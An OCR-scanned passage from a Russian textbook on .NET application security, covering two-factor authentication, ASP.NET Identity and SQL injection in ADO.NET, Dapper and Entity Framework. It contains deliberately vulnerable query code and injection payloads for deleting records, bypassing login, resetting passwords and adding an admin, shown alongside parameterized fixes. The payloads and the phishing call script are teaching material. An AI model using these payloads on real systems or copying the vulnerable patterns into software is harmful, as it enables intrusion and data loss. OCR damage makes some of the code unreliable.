Чуть лучше может быть защита с помощью SMS-сообщения с уникальным кодом, которое будет отправляться на телефон посетителя. Это тоже не идеальная защита, потому что есть способы перехвата сообщений, и были случаи, когда хакеры успешно могли использовать звонок жертве и социальную инженерию, чтобы выудить у нее только что полученный код. Например, звонят жертве и говорят: «Мы из банка, и у нас тут проблема с вашим аккаунтом. Сообщите, пожалуйста, код авторизации, который мы вам прислали, чтобы мы могли продолжить этот разговор и сообщить вам, что именно с вашим аккаунтом не так», после чего тут же инициируют вход на сайт со своей стороны, чтобы пользователю в этот момент пришло сообщение. Это старый трюк, но такие способы обмана до сих пор работают. Можно придумать историю более страшную и немного надавить на жертву, чтобы в спешке она не успела подумать. В Канаде очень много говорят по радио и телевидению о подобных телефонных мошенничествах, но я живу в Канаде с 2009 года и все это время регулярно получаю одни и те же звонки с одним и тем же обманом. Если бы это не работало, такие звонки уже давно бы прекратились.
Еще более надежным методом для второго шага двухфакторной авторизации является использование специальных приложений — таких как Authenticator от Microsoft, Google или других компаний. В этих системах при авторизации посети-
Аутентификация и авторизация
107
телю на телефон по зашифрованному соединению отправляется уникальный код, который действует ограниченное время. Перехватить такой код на пути к приложению невозможно — он зашифрован. Использовать социальную инженерию здесь тоже не так-то просто, хотя при особом искусстве можно обмануть особо доверчивых посетителей.
Второй уровень авторизации я здесь реализовывать не буду, потому что это уже дело техники.
2.16. Microsoft Identity
Не знаю, сколько это займет печатных страниц в книге, но в документе Word я вижу, что в этой главе более 60 страниц ушло на рассмотрение вопросов аутентификации и авторизации. Даже если вы сами никогда не будете писать авторизацию с нуля, я считаю эти страницы важными для программистов, чтобы они могли понимать, почему где-то принимались какие-то решения.
Для небольших проектов вполне достаточно использовать Microsoft ASP.NET Identity. Я работаю в основном с большими приложениями и пока еще не видел компании, которая бы использовала встроенную в .NET авторизацию. Я сам использовал ASP.NET Identity только однажды для небольшого проекта.
В ASP.NET Identity находили уязвимости, поэтому если вы выберете ее, то обязательно проверяйте на наличие обновлений.
Рассмотрим авторизацию на основе веб-приложения. При создании приложения нужно указать ключ —auth:
dotnet new mvc —auth ТипАвторизации
Тут возможны следующие значения:
□ None — не использовать авторизацию;
□ individual — авторизация посетителей;
□ individualB2c — авторизация посетителей с использованием Azure В2С;
□ singleOrg — авторизация для организаций с одним клиентом в базе данных;
□ Muitiorg — авторизация для организаций с множеством клиентов;
□ Windows — Windows-авторизация.
Самым популярным вариантом является individual, когда посетители могут регистрироваться на сайте, и у меня был опыт работы только с этим типом при использовании ASP.NET Identity.
Давайте создадим пример с индивидуальной авторизацией. Для удобства я еще указал ключ -о, с помощью которого можно указать папку, в которую должен попасть сгенерированный код:
dotnet new mvc —auth Individual -о AspIdentityTest
108
Гпава 2
Вы можете найти этот пример в папке AspIdentityTest файлового архива, сопровождающего книгу (см. приложение).
Для запуска примера не нужно конфигурировать базу данных, потому что по умолчанию используется локальная база данных и файл app.db. На рис. 2.15 можно увидеть окно регистрации сгенерированного приложения.
AspIdentityTest Home Privacy Register Login
Register
Create a new Use another service to register,
account.
There are no external authentication services configured. See this article about setting up this ASP.NET application to
Email support logging m via external services.
Password
Confirm Password
Register
© 2024 - AspIdentityTest - Privacy
Рис. 2.15. Сгенерированная форма регистрации
Вы можете попробовать зарегистрироваться и авторизоваться, а после регистрации посмотреть свой профиль (он доступен по адресу /Identity/Account/Manage). В профиле можно менять Email, пароль, добавить двухфакторную аутентификацию и т. д. Это очень хороший начальный шаблон, который готов к использованию. Я потестировал его, и единственный странный момент — после авторизации я могу загрузить страницу /Identity/Account/Login, и приложение даст мне шанс авторизоваться еще раз. Я бы ожидал, что авторизованный посетитель не будет видеть форму и что его будут перебрасывать на домашнюю страницу.
Пример использует Entity Framework для доступа к базе данных, и в папке Data можно найти файлы миграции, а значит, вы можете наложить эти же изменения на любую другую систему управления базами данных.
Если посмотреть на папку с контроллерами и Area, то вы не найдете в них кода, который бы отвечал за авторизацию.
Но вы можете сгенерировать страницы, которые отвечают за авторизацию. Для этого сначала нужно добавить к проекту следующий пакет:
Microsoft.VisualStudio.Web.CodeGeneration.Design
Аутентификация и авторизация
109
На момент подготовки этого издания последней версией является 8.0.3, поэтому я добавил следующую строку в AspIdentrtyTest.csproj:
<PackageReference
Include=”Microsoft .VisualStudio. Web. CodeGeneration. Design"
Version="8.0.3" />
Теперь в командной строке выполняем команду установки генератора кода, если он у вас не установлен:
dotnet tool install -g dotnet-aspnet-codegenerator
Если вы работаете в macOS, то после выполнения этой команды в терминале может появиться предложение добавить папку утилит .NET в переменную PATH. Можно сделать постоянное изменение, а можно разовое, выполнив команду:
export РАТН="$РАТН:/Users/вашеимя/.dotnet/tools”
Теперь выполняем команду, которая сгенерирует отсутствующие файлы:
dotnet aspnet-codegenerator identity
В папке Areas/ldentity/Pages появятся все необхоимые для авторизации файлы страниц и представлений (рис. 2.16). Я предпочитаю использовать MVC-подход, но авторизация реализована через страницы Pages.
Рис. 2.16. Сгенерированные страницы авторизации
110 Гпава 2
Теперь вы можете защищать контроллеры, которые требуют авторизации, с помощью атрибута [Authorize]. Чтобы получить доступ к текущему посетителю, используется user.identity — например, имя текущего посетителя находится в user.identity?.Name. Свойство identity может содержать null, поэтому я применил символ вопроса на случай, если текущий посетитель не авторизован.
Про ASP.NET Identity есть хорошая документация на сайте Microsoft, поэтому я не буду писать подробный документ по его использованию. Мы уже разобрались в основах безопасности, и этой информации должно быть вам достаточно, чтобы понимать, что и как можно менять, чтобы оставаться в безопасности.
ГЛАВА 3
Безопасность . NET - приложений
Я практик, поэтому в этой главе мы будем много говорить о практике безопасности, а также познакомимся с различными вариантами существующих атак и практическими примерами реальной защиты.
Специалисты Microsoft проделали отличную работу, и защита от некоторых проблем безопасности реализована уже в их фреймворке .NET, так что если вы явно не будете делать ничего плохого, то есть большой шанс, что вы с проблемами и не столкнетесь.
Но если все же знать о проблемах и о том, что приводит к ним, то вам будет проще писать код и случайно не сделать ничего плохого. При этом, когда вы используете Entity Framework, скорее всего, вам не придется думать о SQL Injection, потому что эта проблема присуща чистому SQL. Но я все же рассмотрю ее и рекомендую вам познакомиться с ней и с соответствующим кодом в этой главе.
3.1. Инъекция SQL: основы
Почему раздел называется «Инъекция SQL: основы»? Потому что сейчас мы познакомимся только с основами инъекции SQL и рассмотрим пару примеров, однако и в дальнейшем изложении на протяжении всей книги я буду периодически возвращаться к вопросу SQL-атак и рассматривать разные их вариации.
SQL Injection (инъекция языка запросов к базам данных SQL) — самая страшная и опасная, на мой взгляд, уязвимость, потому что большое количество сайтов сейчас используют базы данных и язык SQL (Structured Query Language, язык структурированных запросов). У меня нет статистики, насколько велико это количество и сколько сайтов задействуют в коде язык запросов SQL, но думаю, что их много.
В современных фреймворках очень часто применяют абстракцию, которая автоматически может защищать от SQL-инъекции. Например, в Entity Framework (я бы перевел это название как фреймворк сущностей) вам не требуется писать запросы к базе данных вручную — достаточно лишь использовать привычные для языка
112
Глава 3
программирования C# объекты, и уже на этапе компиляции вы узнаете, всё ли написано верно.
Но, несмотря на наличие современных фреймворков и их простоту, я все же считаю, что всем разработчикам необходимо знать, что такое SQL-инъекция, как она работает и как может навредить вашему приложению. Так что начнем с классического языка SQL, который еще не умер и остается популярным методом доступа к базам данных.
3.1.1. SQL-уязвимость в AbO.NET
В C# есть несколько API для доступа к базам данных, и самый старый из них — ADO, который работает на самом близком к базе данных уровню и является самым быстрым, потому что все остальные API представляют собой лишь надстройки, которые упрощают работу с базами данных.
За счет своей скорости ADO все еще используется в проектах, поэтому давайте рассмотрим на его примере соответствующую SQL-уязвимость.
В листинге 3.1 показан один из методов уровня доступа к данным: Getuser. Он ищет в таблице user запись по колонке Email и возвращает результат.
| Листинг 3.1. Поиск посетителей в базе данных
public class BadAdoAuthenticationDAL: lAuthenticationDAL {
public async Task<UserAuthModel> GetUser(string email)
{
using (var connection =
new SqlConnection(DbHelper.GetConnectionString()))
{
await connection.OpenAsync();
string sql = 0"select Userid, Email, Password, Salt
from [User]
where email = •" + email + ”’”;
SqlCommand command = new SqlCommand(sql, connection);
SqlDataReader reader = await command.ExecuteReaderAsyncO;
UserAuthModel user = new UserAuthModel ();
if (await reader.ReadAsync()) {
user.Userid = reader.Getlnt32(0);
user.Email = reader.GetString(1);
user.Password = reader.GetString(2);
user.Salt = reader.GetString(3);
} return user;
I
}
I
Безопасность .NET-пршюжений
113
Я не стану подробно останавливаться на каждой строке этого кода, а просто опишу, что здесь происходит. Я создаю новое соединение с базой данных, открываю его и потом формирую SQL-запрос, который отправляется на сервер. Получив ответ от сервера, я его читаю и копирую полученные данные в объект класса userModei.
Класс не зря имеет В названии BadAdoAuthenticationDAL префикс Bad — эта реализация кода плохая, и основное зло сосредоточено в коде, который собирает SQL- запрос:
string sql = @"
select Userid, Email, Password, Salt
from [User]
where email = ’” + email + ”’”;
Запрос собирается из строк простым их объединением. Если посетитель введет корректный email, то в результате выполнения нашего кода в базе данных будет выполнен вот такой запрос:
select Userid, Email, Password, Salt from [User]
where email = ’noreply@flenov.ru’
Эго отлично работает, и это корректный SQL-запрос. А что если посетитель передаст в поле Email формы (рис. 3.1) следующий текст:
noreply@flenov.ru’; delete from FailedAttempt—
Рис. 3.1. Использование SQL Injection
114
Гпава 3
И тогда в поле пароля можно будет передать любую корректную информацию — лишь бы форма прошла валидацию. И она пройдет валидацию — несмотря на то, что в поле Email введен абсолютно неверный email-адрес. Можете проверить и убедиться, что наша защита атрибутом EmailAddress не заподозрила ничего плохого.
Итак, пользователь передает показанную здесь строку — т. е. вот такой запрос: select Userid, Email, Password, Salt from [User]
where email = ’noreply@flenov.ru’; delete from FailedAttempt —’
и что будет выполнено в базе данных?
Точка с запятой является разделителем для SQL-команд, а значит, в реальности в базе данных будут выполнены два запроса:
select Userid, Email, Password, Salt from [User]
where email = 'noreply@flenov.ru' и
delete from FailedAttempt
Два тире в конце SQL-команды превращают остаток запроса в комментарий, поэтому последние три символа просто не будут выполняться. И получается, что SQL-команда не просто выполнит запрос, но еще и удалит все записи из таблицы FailedAttempt.
Сейчас логика проверки пароля находится на стороне С#-кода, потому что нам необходима соль из базы данных, без которой проверка невозможна. Но что если мы не будем следовать лучшим практикам безопасности и станем проверять пароль прямо с помощью SQL:
string sql - @"
select Userid, Email, Password, Salt
from [User]
where email ■ '" + email + "' and password - '" + pass + "'",•
Если хакер способен повлиять на пароль, то всё может закончиться плохо с точки зрения авторизации.
Допустим, что у вас есть посетитель user@flenov.ru, но мы не знаем его пароль. В качестве email-адреса передаем знакомый нам адрес, а в качестве пароля:
Qwer!234' or 1—1—
В результате запрос будет следующим:
select Userid, Email, Password, Salt from [User]
where email - 'user@flenov.ru' and password - 'Qwer!234' or 1-1—";
Последнее условие: or 1-1 — всегда даст истину, а значит, мы всегда авторизуемся удачно, просто под первым попавшимся посетителем.
Безопасность .NET-приложений
115
А чтобы авторизоваться под конкретным посетителем, можно передать в поле пароля следующий текст:
Qwer!234' or email = 'user@flenov.ru' and 1=1—
В результате базе данных будет направлен следующий запрос:
select Userid, Email, Password, Salt
from [User]
where email = 'user@flenov.ru' and password = 'Qwer!234' or
email = 'user@flenov.ru' and 1=1—";
Теперь неважно, какой на самом деле у посетителя пароль, — мы с успехом авторизуемся в базе данных.
SQL-инъекция свойственна SQL-запросам и всем библиотекам, которые используют для доступа к базам данных этот язык запросов. Но некоторые библиотеки создают такую абстракцию, когда SQL становится ненужным, и тогда инъекция окажется просто невозможна. Если и произойдет инъекция в такой фреймворк, то это уже будет не SQL, а что-то другое.
Помимо удаления данных из базы данных, хакер может в ней что-либо обновлять или создавать. Например, мы можем обновить чужой пароль. Если нет шифрования, то можно сбросить пароль на пустую строку:
noreply@flenov.ru’; update [User] set password ■ ’’—
Если есть шифрование, то можно зарегистрировать аккаунт и, зная его данные, скопировать пароль и соль другому посетителю. Я не буду реализовывать это здесь в виде SQL-запроса, а оставлю только идею.
Можно добавлять данные. Если где-то есть таблица администраторов, то хакер может создать себе свою запись администратора:
noreply@flenov.ru'; insert admins (name, password) values (. .)—
Возможности SQL огромные. В Transact-SQL есть функции, которые позволяют работать с файловой системой и выполнять команды в ОС. Это открывает для хакера безграничные просторы. Именно поэтому я считаю SQL-инъекцию самой опасной уязвимостью. Но, как вы увидели, защититься от этой уязвимости очень просто — использованием параметризованных запросов.
3.1.2. Защита от SQL-инъекции
Глядя на код SQL и то, как происходит инъекция, можно заметить, что вся ее суть кроется в том, чтобы выйти за пределы одинарных кавычек. Так, при сравнении мы помещаем сравниваемую строку в одинарные кавычки: email - '" + email + "'
При правильных данных этот код превращается в следующий:
email - 'noreply@flenov.ru'
116
Глава 3
Но если к email добавить одинарную кавычку и передать norepiyeflenov.ru', то мы ломаем запрос:
email = 'noreplyeflenov.ru''
После одинарной кавычки мы можем добавить что-то еще. В приведенных ранее примерах я добавлял код SQL, и именно поэтому атака называется SQL-инъекцией — потому что мы внедряем какой-то код на языке запросов к базе данных.
Как обезвредить одинарную кавычку? Можно заменять ее на две одинарные:
email = "• + email.Replace(”'”, "''") + "'
Этот способ называется экранированием, и, казалось бы, мы можем защититься, просто экранируя все параметры. В нашем конкретном случае это сработает, но что если взять такой код:
string sql = 0"select Userid, Email, Password
from [User]
where userid = " + id;
SqlConmand command = new SqlCommandfsql, connection);
Здесь используется переменная id, которая сравнивается с колонкой userid. Поскольку колонка числовая, то значение id не нужно обрамлять в одинарные кавычки, а раз их нет, то как мы будем защищаться? И если в id будет передана строка:
10;delete from FailedAttempt;
запрос превратится в:
select Userid, Email, Password
from [User]
where userid = 10;delete from FailedAttempt;
А это снова инъекция...
Когда мы сравниваем числа, то просто нужно убедиться, что и переменная тоже числовая. Так, если переменная id числовая:
int id;
то в число просто невозможно поместить строку, а значит, мы в безопасности. Что-то слишком много если, может, есть вариант защиты проще и надежнее? Не экранируйте ничего. Вместо этого используйте параметризованные запросы. В том месте, где должны быть данные от посетителя, помещайте параметры SQL. Это как переменные в C# — у них есть имена, которые начинаются с символа @. В листинге 3.2 показан безопасный вариант работы с базой данных.
Листинг 3.2. Безопасный доступ к данным
public class AdoAuthenticationDAL: ZAuthenticationDAL {
public async Task<UserAuthModel> GetUser(string email)
Безопасность .NET-приложений 117
{
using (var connection =
new SqlConnection(DbHelper.GetConnectionString())) {
await connection.OpenAsync();
string sql = @”select Userid, Email, Password, Salt from [User] where email = @email";
SqlCommand command = new SqlCommand(sql, connection);
command.Parameters.Add(new SqlParameter("email”, email));
SqlDataReader reader = await command.ExecuteReaderAsync();
UserAuthModel user = new UserAuthModel();
if (await reader.ReadAsync()) { user.Userid = reader.GetInt32(0); user.Email = reader.GetString(1); user.Password = reader.GetString(2); user.Salt = reader.GetString(3);
} return user;
}
} }
В этом коде в запросе SQL нет объединения строк, а в том месте, где должен быть email, указан параметр eemaii.
После этого параметр прикрепляется к запросу следующим образом:
command. Parameters. Add (new SqlParameter (’’email", email));
Параметры безопасны, поэтому если нужно добавить к запросу какие-то данные, полученные от посетителя, то обязательно используйте их.
В папке /MyBlog/MyBlog/DAL/Implementations/Ado файлового архива, сопровождающего книгу (см. приложение^ вы можете найти два класса: BadAdoAuthenticationDAL и AdoAuthenticationDAL. Первый из них показывает плохой способ работы со SQL, а второй — безопасный. Вы можете переключаться между ними в файле MyBlog/ MyBlog/Program.cs, указав нужный так:
builder. Services .Adds ingleton<IAuthenticationDAL,
BadAdoAuthenticationDAL>();
или так:
builder. Services. AddSingleton<IAuthenticationDAL, AdoAuthenticationDAL>();
И сможете протестировать всё, что здесь показано.
118
Гпава 3
Использование параметризированных запросов — это отличная защита от SQL- инъекций + повышение производительности, но об этом дополнительном бонусе мы поговорим в разд. 5.10.
3.2. bapper ORM
Если для доступа к базам данных использовать ADO.NET, то можно достичь максимальной производительности, но после получения данных я вынужден был писать код создания объектов и копирования в них данных. Производительность кода — это одна из сторон монеты, которую программист получает в виде зарплаты. Вторая сторона — это скорость, с которой мы пишем код и добиваемся результата.
Чтобы вручную не писать код копирования данных из SqiDataReader, можно использовать ORM (Object-relational mapping, объектно-реляционное отображение, или преобразование). Но не все 0RM одинаковы — они могут различаться не только возможностями, но и скоростью работы.
Из тех 0RM, которые я знаю, самым быстрым является Dapper1. Это микроОКМ, только преобразовывающее данные, но делающее это очень эффективно. Конкуренты идут дальше — отслеживают изменения данных в приложении и сохраняют их.
Согласно документации Dapper разработан и поддерживается командой Stack Overflow, и основной фишкой в нем является производительность чистого SQL. Само имя команды — Stack Overflow (Переполнение стека) — уже является доказательством того, что их 0RM способно справляться с огромным количеством посетителей, и при этом основанный на нем сайт работает очень быстро. Я использовал Dapper ORM для доступа к данным, когда работал над проектами для Sony, и сразу несколько сайтов одновременно находились всего на шести серверах приложений и справлялись даже с пиковыми нагрузками.
Мне нравится упор на чистый SQL, потому что он предоставляет мне гибкость и обеспечивает отсутствие между мной и SQL каких бы то ни было посредников, — как это реализовано в разработанном компанией Microsoft фреймворке Entity Framework.
Чтобы начать использовать Dapper, нужно установить соответствующий пакет (рис. 3.2).
Теперь, когда мы захотим использовать возможности Dapper, нужно просто подключить одноименное пространство имен:
using Dapper;
После подключения этого пространства имен у объекта соединения появится целый набор методов QueryXxx<T>, где Ххх — это вариация функции. Например, есть такие вариации:
1 См. https://github.com/DapperLib/Dapper.
Безопасность .NET-припожений
119
□ QueryAsync — получить набор строк. Ее мы используем, когда в результате выполнения запроса может быть более одной строки;
□ OueryFirstAsync — получить одну строку. Если строка не найдена, то произойдет ошибка;
□ QueryFirstOrDefaultAsync — получить одну строку, но если она не существует, то результатом будет null.
Рис. 3.2. Пакет Dapper в менеджере пакетов
У этих методов есть два параметра: строка со SQL-запросом и объект с параметрами. Если в ADO нам приходилось создавать отдельные параметры и добавлять их в массив, то в Dapper все сводится к анонимному классу, у которого свойства — это параметры запроса:
new { параметр = значение }
Например:
var userModel = await connection.QueryFirstAsync<UserModel>( sql, new { id = id }
);
Здесь создается объект co свойством id для параметра с именем eid.
Dapper подвержен проблеме SQL-инъекции, потому что мы работаем с SQL, и если использовать сложение строк с параметрами, то это приведет к уязвимости, точно так же, как это было с ADO:
120
Гпава 3
string sql = 0’’select
serld, Email, Password, Salt from [User] where email = ’” + email + ””’;
var userModel =
await connection.QueryFirstOrDefaultAsync<UserAuthModel>( sql
);
В этом примере при создании запроса к базе данных я использую сложение строк, что небезопасно.
Как я уже отмечал ранее, для защиты от SQL-инъекции необходимо всегда использовать параметры, а не пытаться экранировать данные самостоятельно или придумывать новые способы защиты. Лучший способ защиты уже есть — параметризованные запросы:
string sql = 0’’select Userid, Email, Password, Salt from [User] where email = 0email”;
var userModel = await connection.QueryFirstOrDefaultAsync<UserAuthModel>( sql, new { email = email }
);
В папку /MyBlog/DAL/Implementations/Dapper/ файлового архива, сопровождающего книгу (см. приложение). я добавил класс DapperAuthenticationDAL, который реализует уровень доступа к данным с использованием Dapper.
Посмотрим, как будет выглядеть метод Getuser, который ищет данные посетителя по первичному ключу:
public async Task<UserModel> GetUser(int userid) { using (var connection =
new SqlConnection(DbHelper.GetConnectionString())) { await connection. C^enAsync ();
string sql = 0”select * from [User] where userid = 0id";
var userModel = await connection.QueryFirstAsync<UserModel>( sql, new { id = userid });
return userModel ?? new UserModel(); }
}
Как же просто и красиво выглядит этот код! Нам не нужно копировать данные из sqlDataReader — код воистину прекрасен.
А как может выглядеть добавление данных? Тут мы также должны предоставить SQL-запрос, который будет добавлять данные и модель. В качестве модели не обя-
Безопасность .NET-приложений
121
зательно задействовать анонимный класс, как я это делал в предыдущих примерах, — можно указать модель, которую мы используем для получения данных.
Следующий пример показывает, как будет выглядеть добавление посетителя:
public async Task<int> Cre
teUser(UserModel user)
{
using (var connection =
new SqlConnection(DbHelper.GetConnectionString()))
{
await connection.OpenAsync();
string sql = 0”insert into [User]
(Email, Password, Salt, NormilizedEmail)
values (@Email, @Password, @Salt, @NormilizedEmail);
SELECT SCOPE_IDENTITY() ”;
return await connection.ExecuteScalarAsync<int>(sql, user);
} }
За счет удобной передачи параметров в виде модели код выглядит очень элегантно и занимает меньше строк. А если можно писать меньше строк кода, то мы быстрее сможем достичь результата. Так что в дальнейшем в примерах этой книги для доступа к данным я буду использовать именно Dapper.
Сейчас большую популярность набирает подход Code First (сначала код), когда вы только пишете модели для объектов в базе данных, a Entity Framework уже сам берет на себя ответственность по наложению этих изменений на базу данных. В случае с Dapper и ADO мы должны были писать SQL-запрос для создания объектов в базе, а потом модель — в виде С#-классов. Для небольших проектов и прототипов Code First позволяет сэкономить время на разработку, поскольку для быстрых прототипов скорость очень важна. Но для «боевых» проектов недостатки и ограничения Entity Framework для меня намного более серьезны.
Я предпочитаю подход Database First (сначала база данных), когда все изменения схемы базы данных пишутся на чистом SQL и потом могут накладываться на базу данных в любой момент. Это соответствует подходу, который я описывал в разд. 1.10.
Имея базу данных, вы можете сгенерировать необходимую модель, а программу генерации можно написать за один день максимум. Для этого достаточно выполнить следующий SQL-запрос к базе данных:
select t.name as TableName,
c.name as ColumnName,
st.Name,
st.length
from sys.columns c
join sys.tables t on c.object_id = t.object_id
join sys.systypes st on st.xtype = c.user_type_id
122
Гпава 3
where st.Name != ’sysname’
order by c.column_id
Результат запроса на моей небольшой базе данных показан на рис. 3.3. Имея эти данные, несложно написать код, который будет генерировать классы модели:
public class Blog {
public int? Blogld { get; set; }
public string? Title { get; set; }
public string? Content { get; set; }
public string? Description { get; set; }
public DateTime _modified { get; set; }
public DateTime _created { get; set; }
Рис. 3.3. Таблица и поля
Примерно такой класс я генерировал, когда работал над проектами для Sony. А для своих проектов вы можете выбрать технологии Microsoft, которые мы рассмотрим в следующем разделе.
3.3. Entity Framework
Microsoft для работы с базами данных создала свой собственный фреймворк, который получил название Entity Framework (или сокращенно EF), — его, как я уже отмечал ранее, еще можно назвать фреймворком сущностей.
Безопасность .NET-приложвний 123
Я использую Entity Framework для небольших прототипов, и его основное преимущество заключается в подходе Code First, о котором я тоже упоминал ранее. Давайте рассмотрим пример реализации уровня доступа к данным с использованием EF и обсудим вопросы его безопасности.
Для работы с EF нужно установить пакет MicrosoftEntityFrameworkCore. SqlServer (рис. 3.4).
Рис. 3.4. Установка MIcrosoft.EntltyFrameworkCore.SqlServer
Для моделей в EF принято первичный ключ называть просто: id. В моем коде у модели userModei первое поле имеет имя userid, что может вызвать проблемы. Чтобы их избежать, нужно перед полем первичного ключа поставить атрибут [Key]:
public class UserModei’ {
[Key]
public int? Userid { get; set; }
}
Все остальное в модели можно оставлять как есть, потому что все имена у класса соответствуют именам полей в таблице.
Следующий шаг — создать класс контекста:
using Microsoft.EntityFrameworkCore;
using MyBlog.DAL.Models;
124
Гпава 3
namespace MyBlog. DAL. Inpiementations. EF { public class EfContext : DbContext {
public virtual DbSet<UserModel> User { get; set; } = null!;
protected override void OnConfiguring( DbContextOptionsBuilder optionsBuiIder) { if (!optionsBuiIder.IsConfigured)
optionsBuilder.UseSqlServer (’’Строка подключения к БД"); } } }
Тут у нас предусмотрен дополнительный — по сравнению с другими подходами — шаг, который нужно сделать, но и для этого есть свои генераторы, автоматизирующие процесс.
Теперь создадим уровень DAL для класса аутентификации:
public class EfAuthenticationDALL: lAuthenticationDAL
Я снова не буду приводить полный код — давайте лучше посмотрим на возможную реализацию метода Getuser по id пользователя:
public async Task<UserModel> GetUser(int id) {
using (var dbContext = new EfContext()) return await dbContext.User.Where(m => m.Userid = id) .FirstOrDefaultAsync() ?? new UserModel(); }
И это всё? Да! Мы начинали с ADO-версии, которая была огромной и занимала несколько строк. Потом была Dapper-версия, которую можно было немного улучшить и сократить до трех строк, но они все равно были длинными, потому что текст SQL-запроса занимает приличное пространство.
Этот пример можно было написать по-разному, но я сделал простой LINQ-запрос, потому что он показывает универсальность решения.
Плюс Entity Framework — это не только создание объектов, но еще и возможность отслеживать изменения и сохранять данные в базе.
Посмотрим, как выглядит метод создания нового пользователя:
public async Task<int> CreateUser(UserModel user) {
using (var dbContext = new EfContext()) { dbContext.User.Add(user);
return await dbContext.SaveChangesAsync(); } }
Безопасность .NET-приложений
125
Мы просто добавляем в контекст пользователя и вызываем метод сохранения. Нам не нужно формировать SQL-запрос и создавать параметры — мы просто создаем объект и используем его.
Когда мы работаем с Entity Framework, то не используем SQL. А раз нет SQL, значит, не может быть и инъекции. Проблема SQL-инъекции в том, что в SQL мы работаем с кодом в виде текста, который храним в строках. Такой текст невозможно проверить на ошибки во время компиляции.
Запрос LINQ, который я использовал в приведенном примере, компилируется. И это уже не текст, а код, который можно проверить на ошибки, а значит, невозможно что-то внедрить в него так, чтобы можно было повлиять на работу.
Основное преимущество Entity Framework — мы можем спать спокойно и не думать о проблемах безопасности. Но за это приходится платить проблемами производительности. Первые версии EF — еще для .NET Framework — имели в этом плане серьезные проблемы. Со временем Microsoft проделала хорошую работу по улучшению производительности, и сейчас уже в некоторых тестах Entity Framework Соте догоняет Dapper.
Но это все простые тесты, когда выполняются простые выборки. Мой опыт свидетельствует, что проблемы с EF начинаются тогда, когда нужно получить от сервера сложные данные. При сложных LINQ-запросах EF может генерировать не самый лучший SQL-запрос.
Чтобы сохранить свою сущность и дать пользователю гибкость, EF предоставляет функции, которые позволяют использовать чистый SQL и получить мощь этого языка запросов к базам д анных.
Давайте посмотрим пример использования чистого SQL, для чего я создал еще одну реализацию уровня доступа К данным: RawEfAuthenticationDAL. В этом классе метод Getuser будет искать пользователей в базе данных, используя уязвимый FromSqlRaw:
public UserAuthModel GetUser(string email) < using (var dbContext = new EfContextO) { var result = dbCOntext.User. FromSqlRaw ( "select * from [User] where Biiail = •" + email + "'") • ToListO ;
if (result.Count > 0) return result
.Select( m => new UserAuthModel() {
Userid = m.Userid, Email = m. Email, Password = m.Password, Salt = m.Salt
).FirstOrDefault();
126
Гпава 3
return new UserAuthModel();
При вызове FromSqiRaw в этом примере я использую конкатенацию (объединение) строк, что становится классической проблемой SQL-инъекции. Можно использовать пример с удалением таблицы Failed Attempt или любой другой таблицы. Помните, я передавал в разд. 3.1.1 в качестве email следующую строку, чтобы удалить записи:
flenov@gmail.com’; delete from FaiiedAttempt—
Опять же, защитой может служить фильтрация данных — мы можем убрать все одинарные кавычки или менять их на две одинарные кавычки подряд, но лучшей защитой от инъекции является использование параметров.
Метод FromSqiRaw поддерживает параметры. После указания чистого SQL-запроса можно указать все необходимые параметры. Следующий пример создает знакомый уже нам по ADO объект sqiParameter, и потом мы его передаем в качестве второго параметра методу FromSqiRaw:
var
emailParam = new SqiParameter (’’email”, email);
var result = dbContext.User.FromSqiRaw(
’’select * from [User] where Email = @email", emailParam) .ToList () ;
Вот этот подход уже безопасен. Если вы выбрали использование SQL при работе с EF, то для защиты применяйте параметризированные запросы.
3.4. Отправка электронной почты
Вы, наверное, много раз сталкивались с тем, что после регистрации в каком-нибудь сервисе приходится ждать письма от сервиса с уникальной ссылкой, по щелчку на которой мы подтверждаем свой почтовый ящик.
У проверки существования email-адреса путем отправки письма с кодом есть несколько преимуществ. Во-первых, это точно гарантирует, что посетитель не ошибся при вводе почтового ящика в процессе регистрации. Никогда не просите посетителя вводить при регистрации почтовый ящик дважды — это делает процесс занудным и ничего не гарантирует. Лучше отправить ему письмо с уникальным кодом.
Кроме того, проверка email лучше защищает от генерации аккаунтов. Возможность регистрации мусорных аккаунтов приводит к появлению большего количества троллей. Чтобы сгенерировать в вашем сервисе 100 аккаунтов, хакеру понадобится сгенерировать 100 почтовых ящиков. Имея собственные хостинг и домен, он это сможет, но определенный домен упрощает поиск таких мусорных аккаунтов.
У меня в таблице User есть колонка status. По умолчанию она будет равна нулю, и это как раз указывает на то, что посетитель еще не верифицирован. В таком статусе его можно ограничивать в действиях на сайте и не давать ничего публиковать, пока он не подтвердит корректность email.
Безопасность .NET-припожвний
127
Но нам же еще нужно создать и отправить ему письмо с кодом верификации. Так что давайте посмотрим, как это сразу сделать эффективно.
Отправка почты — это очень медленный процесс: нужно соединиться с SMTP- сервером, авторизоваться на нем, доставить содержимое письма — и всё это может занять несколько секунд. А посетители не любят ждать, пока загрузится страница, — если браузер не откликается несколько секунд, то это уже очень плохой знак. Отправка почты сразу же при регистрации практически гарантирует, что запрос будет медленным.
Что можно сделать с точки зрения оптимизации этого процесса? Давайте подумаем. А нам действительно нужно отправлять письмо сразу? Что если письмо придет к пользователю через 10 секунд? Уверен, что он не обидится. А что если оно придет через минуту? Большинство будет винить в задержке почтальона Печкина или почтовых голубей Google, а не ваш сайт. Ваш сайт очень быстро зарегистрировал аккаунт посетителя, и он уже получил сообщение, что письмо ему отправлено, — значит, задержка где-то в пути, и ваша репутация чиста. Пусть докажут, что это вы виноваты и не торопитесь отправлять письма.
На самом деле задержки в доставке писем есть на многих сайтах. Причем на некоторых из них после регистрации приходится ждать письма по нескольку минут, а то и по часу. Скорее всего, у них есть проблемы с реализацией доставки писем, потому что это действительно медленный процесс. Большая задержка указывает на то, что письмо не было отправлено сразу, а попало в какую-то очередь и там сидит и ждет, когда прилетят голуби и доставят его.
Точно так же я делал и в проектах для Sony: отправляемое письмо не доставлялось сразу, а только создавалась одна запись в базе данных — письмо помещалось в очередь. Одновременно в фоне работало несколько процессов, которые брали письма из очереди и доставляли их посетителям. Как правило, процессов было четыре— они без остановки в фоновом режиме доставляли почту, в результате чего задержки ее получения не превышали минуты — чаще всего, посетители получали письма в течение 10 секунд.
Такой подход великолепен в том числе и потому, что вы можете с ростом приложения масштабировать его. Сейчас вы используете фоновые процессы, а когда сайт достигнет большого размера и уйдет в облако, можно будет задействовать бессер- верные функции (Serverless Function).
3.4.1. Очереди сообщений
Давайте реализуем пока отправку через очередь и процессы. Нам понадобится таблица для очереди:
create table EmailQueue (
EmailQueueld int identity(1, 1) primary key,
EmailTo nvarchar(200),
EmailFrom nvarchar(200),
Emailsubject nvarchar(200),
EmailBody ntext,
